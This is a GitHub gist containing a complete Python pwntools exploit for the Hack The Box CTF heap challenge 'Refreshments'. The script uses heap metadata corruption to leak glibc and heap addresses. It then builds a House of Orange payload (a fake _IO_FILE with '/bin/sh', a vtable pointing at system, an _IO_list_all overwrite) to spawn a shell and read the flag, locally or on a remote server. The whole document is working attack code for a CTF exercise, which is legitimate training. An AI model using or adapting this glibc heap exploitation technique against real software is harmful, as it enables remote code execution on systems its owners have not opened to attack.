Skip to content

Instantly share code, notes, and snippets.

@mspraggs
Last active October 25, 2025 20:20
Show Gist options
  • Select an option

  • Save mspraggs/18cd54cca08b710af225b70949aa161f to your computer and use it in GitHub Desktop.

Select an option

Save mspraggs/18cd54cca08b710af225b70949aa161f to your computer and use it in GitHub Desktop.
HTB Stack Smash CTF Refreshments Exploit
#!/usr/bin/env python3
"""
Exploit for Refreshments, a challenge in the Hack The Box Stack Smash CTF 2025.
Full write-up here: https://mattspraggs.co.uk/stacksmash-ctf-refreshments.html
"""
import argparse
import os
from pwn import ELF, context, flat, log, p64, process, remote, tube, u64
class Program:
'''
Program encapsulates the Refreshments program logic.
'''
def __init__(self, io: tube) -> None:
self._io = io
self._glass_count = 0
def fill_glass(self):
'''
Fills a new glass, allocating a chunk on the heap in the process.
'''
if self._glass_count > 0x0f:
raise ValueError("Too many glasses!")
self._io.sendlineafter(b'>> ', b'1')
self._glass_count += 1
log.debug(f"Filled {self._glass_count} glasses")
def empty_glass(self, glass: int):
'''
Empties a glass, calling free on the associated chunk in the process.
Args:
glass: The glass to be emptied, zero-indexed.
'''
self._io.sendlineafter(b'>> ', b'2')
self._io.sendlineafter(b': ', str(glass).encode())
log.debug(f"Emptied glass {glass}")
def edit_glass(self, glass: int, content: bytes):
'''
Edits the specified chunk, setting its content to the provided bytes.
Args:
glass: The glass to be edited, zero-indexed.
content: The bytes to write to the glass's chunk.
'''
self._io.sendlineafter(b'>> ', b'3')
self._io.sendlineafter(b': ', str(glass).encode())
self._io.sendafter(b': ', content)
log.debug(f"Edited glass {glass}")
def view_glass(self, glass: int) -> bytes:
'''
View the specified glass, returning the bytes within the glass's chunk.
Args:
glass: The glass to be viewed, zero-indexed.
Returns:
bytes: The data associated with the glass.
'''
self._io.sendlineafter(b'>> ', b'4')
self._io.sendlineafter(b': ', str(glass).encode())
self._io.recvuntil(b': ')
return self._io.recvline()[:-1]
def sendline(self, data: bytes):
'''
Writes the provided data to the program's stdin.
Args:
data: The bytes to write to stdin.
'''
self._io.sendline(data)
def recvflag(self) -> str:
'''
Attempts to receive a line containing the canonical "HTB" flag bytes.
Returns:
bytes: The line containing the "HTB" bytes.
'''
return self._io.recvline_contains(b"HTB").strip().decode()
def exploit(prog: Program, elf: ELF, libc: ELF) -> str:
'''
Runs exploit against the provided ELF binary and, optionally, the specified
remote server URL.
Args:
prog: The program to be exploited.
elf: The binary file to be exploited.
libc: The associated glibc binary.
max_tries: Maximum number of exploitation attempts before giving up.
url (optional): The URL of the remote server to run the exploit against.
Returns:
str: The flag.
'''
# Fill five glasses.
for _ in range(5):
prog.fill_glass()
# Overflow chunk zero, changing the size of chunk one to 0xc0 bytes, as
# malloc sees it.
prog.edit_glass(0, b'A' * 0x58 + b'\xc1')
# Free glass one and fill another, which because of remaindering will be
# placed in the same location as glass one, the one we've just freed.
prog.empty_glass(1)
prog.fill_glass() # 5 -> 1
# View the contents of glass two, which, due to remaindering, will
# contain leaked glibc arena pointers. This gives us glibc base.
bs = prog.view_glass(2)
# Repeat the process, overwriting the AMP bits of the chunk after glass
# two so that glibc thinks glass two is in use.
prog.edit_glass(0, b'A' * 0x58 + b'\xc1')
prog.edit_glass(2, bs + b'\x61')
prog.empty_glass(5)
bs = prog.view_glass(2)
# Leaked pointers are for main_arena+88 heap+0x60.
main_arena_88 = u64(bs[:8])
heap = u64(bs[8:16]) - 0x60
libc.address = main_arena_88 - libc.sym['main_arena'] - 88
log.info(f"libc base @ 0x{libc.address:x}")
log.info(f"heap @ 0x{heap:x}")
# Fill glasses to flush heap bins and any gaps in the heap. If we
# consider the position of each freshly-allocated chunk on the heap with
# respect to the position of the pointer that references it on the
# stack, after these four allocations we should have the following
# mapping (glass numbers are zero-indexed):
#
# - Glass 6 maps to heap position 2.
# - Glass 7 maps to heap position 1.
# - Glass 8 maps to heap position 2 (glasses 6 and 8 are the same chunk).
# - Glass 9 maps to heap position 5.
for _ in range(4):
prog.fill_glass()
# Corrupt size metadata again. This time our objective is to land a
# chunk in the unsorted bin. We allocate again so that glibc remainders
# the chunk, shifting pointers the chunk's pointer metadata into a
# region of the heap we can write to.
prog.edit_glass(0, b'A' * 0x58 + b'\xc1')
prog.empty_glass(7)
prog.fill_glass()
# Finally, we build the House of Orange payloads.
#
# First, we write a fake _IO_jump_t structure to the first chunk on the
# heap.
prog.edit_glass(0, flat({0x18: p64(libc.sym.system)}))
# Next, we write the leading quad-words of a fake _IO_FILE structure.
prog.edit_glass(10, flat({0x50: b'/bin/sh\x00\x69'}))
# Next, we write the offset location of _IO_list_all over the bk pointer
# of the chunk produced by the remaindering process above.
prog.edit_glass(
2,
p64(0x00) +
p64(libc.sym._IO_list_all - 0x10) +
p64(0x00) +
p64(0x01),
)
# Finally, we overwrite the file's vtable pointer to point to the
# location of the first chunk.
prog.edit_glass(4, p64(0x00) + p64(heap + 0x10))
log.debug("Triggering exploit")
prog.fill_glass()
prog.sendline(b'cat flag.txt')
return prog.recvflag()
def parse_server(s: str) -> tuple:
'''
Parse server argument into hostname and port.
Args:
s: The argument to be parsed.
Returns:
tuple: Tuple containing the string-valued hostname and the integer-valued
port.
'''
host, port_str = s.split(':')
return host, int(port_str)
if __name__ == '__main__':
parser = argparse.ArgumentParser(description='Refreshments exploit')
parser.add_argument(
'-e', '--elf-path', type=str, required=True,
help='Path to the refreshments binary',
)
parser.add_argument(
'-l', '--libc-path', type=str,
default=f'{os.path.dirname(__file__)}/glibc/libc.so.6',
help='Path to the refreshments binary',
)
parser.add_argument(
'-s', '--server', type=parse_server,
help='URL of the server to run the exploit against.',
)
parser.add_argument(
'-c', '--max-tries', type=int, default=10,
help='Number of exploitation attempts before giving up.',
)
parser.add_argument(
'-L', '--log-level', type=str, default='info',
help='Log level.',
)
args = parser.parse_args()
log.setLevel(args.log_level)
print(args.server)
for i in range(args.max_tries):
log.info(f"Attempt {i+1} of {args.max_tries}")
elf = context.binary = ELF(args.elf_path)
libc = elf.libc
if args.libc_path:
libc = ELF(args.libc_path)
if args.server:
proc = remote(*args.server)
else:
proc = process(elf.path)
prog = Program(proc)
try:
flag = exploit(prog, elf, libc)
log.success(f'Flag: {flag}')
except EOFError:
continue
finally:
proc.close()
break
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment